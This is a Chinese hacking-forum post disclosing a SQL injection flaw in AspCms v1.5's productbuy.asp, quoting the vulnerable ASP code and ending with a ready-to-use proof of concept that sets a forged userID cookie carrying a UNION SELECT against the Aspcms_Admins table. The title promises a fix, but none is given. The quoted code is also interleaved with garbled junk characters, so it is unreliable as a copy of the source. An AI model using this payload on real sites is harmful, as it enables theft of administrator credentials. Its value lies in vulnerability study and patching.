找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2188|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
, E) r9 Z( e* [- c& k2 C$ o1 o1 p' d也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
# |$ a7 E/ F" j. N4 E& r! Q% \, p4 i废话不多说,看代码:
; ^6 V- ~, n# u. R# N" m. U$ z/ L; S! r
<%
# r2 G' L3 i! C# Q% R9 }6 ~/ o( Z- h6 y, m
if action = "buy" then
% N, T4 Q$ O5 Q# f* R& K5 P: V, H+ M/ o" @+ @! Z
        addOrder()
; _1 T+ e3 c$ n/ Q" J9 p
' b# W: t# h+ i0 p. k  }2 selse3 W1 w: j  V. L& l$ @

9 q" z) T# Y& K+ k- F7 {; X8 G0 x        echoContent()6 ?1 i4 @8 ^$ B
: h6 s% a8 b2 i$ P% h- O; L( c& @
end if  ^# s: A# V; S8 e3 }# y
, c6 d: L, ]- F$ o0 ?2 Q
5 c, p2 }' C1 \) ?

4 ^& v0 h9 m- A2 u0 e) E4 s……略过# P6 f2 [$ a! V0 f; y
1 }6 T/ @8 H6 Q

* o6 X/ N& W  ^3 {, [% i* Z! F4 E
Sub echoContent()
- W" _$ g% z7 a" J. E
  O5 o& q4 b3 R7 k. O" a        dim id" C$ ?- M2 G2 k- \# a. B4 X
( U+ h! o1 |* D) [+ K) C8 O
        id=getForm("id","get")
9 U, W* v+ n, I* ?* V0 t4 R, O" O0 P( I* S2 j
        
' E% f" g1 H% R" w6 l% t$ j9 O9 i6 `8 p5 @4 L+ L/ p2 u6 D' z
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
6 H- E; K% c$ i- r  P  F4 e5 H; Y. r; c0 R, K
        
0 q4 ?8 a" K; L( U) e' A1 j; i4 I; L6 b. D
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")& D. z, g6 h* f

/ k5 C4 w2 P( W5 c7 C- g        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
$ a) e2 a% W: Z3 [+ l* k
% z( c* \) h0 W) a$ d        Dim templatePath,tempStr+ K+ h* ^7 F2 S% p( c$ C
' i% X  h& q/ J5 j
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
& l& o$ Q" F$ \6 m  ?( |- n2 v; B: R5 `$ g

* a& h: b6 R8 ~! r& J% k8 M- v/ L% Y  `2 g2 O9 B8 X9 e; A- p7 G. v
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
0 F0 y/ v# g& W% \) H* S. i' t- w  \1 P
        selectproduct=rsObj(0)
- g) w) c* P- o$ a3 U4 }# t6 j2 R$ I1 i$ s- V  \
        
4 S# o# s6 H) p& ]* X
; o$ _' F. k9 y/ ?+ p        Dim linkman,gender,phone,mobile,email,qq,address,postcode
) }* [& n7 q2 M; }! K9 D" _. f* M) B' ^! u/ J  r% a+ o
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0& b- `7 v/ _+ N9 w  g
9 T7 J9 g" `( Y* ?. R
        if rCookie("loginstatus")=1 then  0 U! `; ], I1 t; u* l
0 |% b1 f* N* F$ `
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")/ N! v0 V/ I; @! _

+ z' B/ Y6 m2 Z, K$ }                linkman=rsObj("truename")# w0 \; i) y3 [

5 Z8 W! W0 {/ k: q                gender=rsObj("gender")
9 {) d0 F; l6 s0 I% i1 l
& b: B9 B: @4 j! g1 ~                phone=rsObj("phone")
, Q* U" n  |9 `0 s  E9 k" _) O) l3 h: L$ w* K
                mobile=rsObj("mobile")6 B- p8 a9 N( X$ l2 h: E; y5 i5 w' W

' [* ^: }! y4 I1 T; a                email=rsObj("email")/ e. \) D9 K4 g/ S( n1 @5 }

! f* w- Z; b. C                qq=rsObj("qq")
. p7 V* ~% `( m! w
0 @& q$ ?4 R: _5 c4 W7 r                address=rsObj("address")7 S, U  {- W/ {6 C  n

$ m3 v  J3 F' O+ s2 S! a  `6 g                postcode=rsObj("postcode")
0 ?" ^) Z$ D5 s* ^
/ O7 j9 w4 v) I' O        else ) \4 e" O2 T5 X
% q/ A* |$ B. J' f3 t" r
                gender=14 s* O7 A( {, Z  m3 |. ?; i

0 j& V6 q0 H2 N6 W4 ]9 F4 j        end if
- g) Z5 }! I: M9 t/ R0 H8 Y( q
; p: K5 k& q3 |8 T+ l1 v. i& q" N        rsObj.close()4 q1 u' Q9 W% ], @/ k! r
: F. D* p7 J2 i( ~! g
               
2 M9 M0 {* A+ A; C- Z, `; j$ n/ P0 z& L) `' C- `( a
        with templateObj % c0 ]( M. Q  N

# \' F5 m* n$ j/ L6 }                .content=loadFile(templatePath)        
6 a6 z; |7 }4 u+ m& R! b7 j0 G! N1 R) S, u! t; P) |2 V
                .parseHtml()
5 s* {1 Q; s3 l3 O' N
, \4 X0 ?2 q5 e5 C4 B                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
$ s7 t! L( D, R6 S7 e5 l% j  Y% Z' o$ q
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
8 {/ ]- v0 ?: A8 T: m* h* g# w+ k- w& t$ h0 j
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
; _* z" X' o; x: j: e' G/ C2 [  H& p
! ~3 q# r& a; U' g1 y- U: l                .content=replaceStr(.content,"[aspcms:phone]",phone)                ) A7 j" [1 W$ l. X" ?0 o
6 \. Z. m  u0 j) Y6 q+ O) }
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                ( _( f8 t  `' a
8 J8 U9 r; o6 N( \
                .content=replaceStr(.content,"[aspcms:email]",email)                        
$ R1 I9 Z& e- B' m$ W2 ~0 S9 w
3 r% Y: e2 `# Z- b& a                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
; s0 x- ?8 J& U7 S! `- [, C' f6 c% ?8 r3 \+ A# q
                .content=replaceStr(.content,"[aspcms:address]",address)                        / O9 X/ s8 s3 ~
2 |) Q; u  t0 H- w) o
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        8 O' d& x4 m8 C6 w9 }
0 S' @2 S- ^2 c0 ]7 u! M: R
                .parseCommon()                 2 V0 m% q, ~/ ]; J$ ?& y0 x- a: B

! i# V' S% T1 e; ]# @4 L                echo .content
5 n& r' p6 \6 R, {
, b& f8 G0 a6 f: \, J; y& H6 x        end with" u) n. O4 a$ \8 ~* F

7 i( ^3 i( J( n* M! T        set templateobj =nothing : terminateAllObjects* N$ Z6 r" e- w3 C3 V  k
4 v1 B& m$ I5 x/ c
End Sub# A7 o7 S* [" r! @! Q* _- S* G9 l
漏洞很明显,没啥好说的) \* D1 I* c/ h+ |
poc:5 a, I6 D# J: `& S- e

: C) F( m/ S$ A. {, o' L2 ]javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
  @) X! J. H" A# y8 e3 Z- X: p3 t* ?* e  u+ J, E! Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表